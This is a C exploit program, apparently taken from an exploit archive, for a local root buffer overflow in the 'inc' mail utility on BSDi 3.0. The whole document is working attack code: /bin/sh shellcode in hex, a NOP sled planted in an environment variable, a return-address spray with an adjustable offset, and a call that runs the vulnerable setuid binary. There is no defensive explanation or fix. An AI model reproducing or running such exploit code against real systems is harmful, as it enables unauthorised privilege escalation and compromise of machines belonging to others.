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BSDi 3.0 inc Local Root Buffer Overflow Exploit
[===============================================
BSDi 3.0 inc Local Root Buffer Overflow Exploit
===============================================
/*
(BSDi)inc[mh] buffer overflow, by v9[v9@fakehalo.org].
this is will give you euid=0(root) on BSDi/3.0 systems.
*/
#define PATH "/usr/contrib/mh/bin/inc" /* path to inc on BSDi/3.0 */
#define BUFFER 2048 /* no need to change this. */
#define DEFAULT_OFFSET -7000 /* generalized offset. */
static char exec[]=
"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
"\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
"\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
"\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char eip[BUFFER],buf[4096];
int i,offset;
long ret;
printf("[ (BSDi)inc[mh]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n");
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(pointer()-offset);
eip[0]=0x01;eip[1]=0x01;eip[2]=0x01;
for(i=3;i<BUFFER;i+=4){*(long *)&eip[i]=ret;}
eip[BUFFER]=0x0;
for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
memcpy(buf+i,exec,strlen(exec));
memcpy(buf,"EXEC=",5);putenv(buf);
printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
if(execlp(PATH,"inc","-file",eip,0)){
printf("*** [error]: could not execute %s successfully.\n",PATH);
exit(1);
}
}
# 0day.today [2024-11-16] #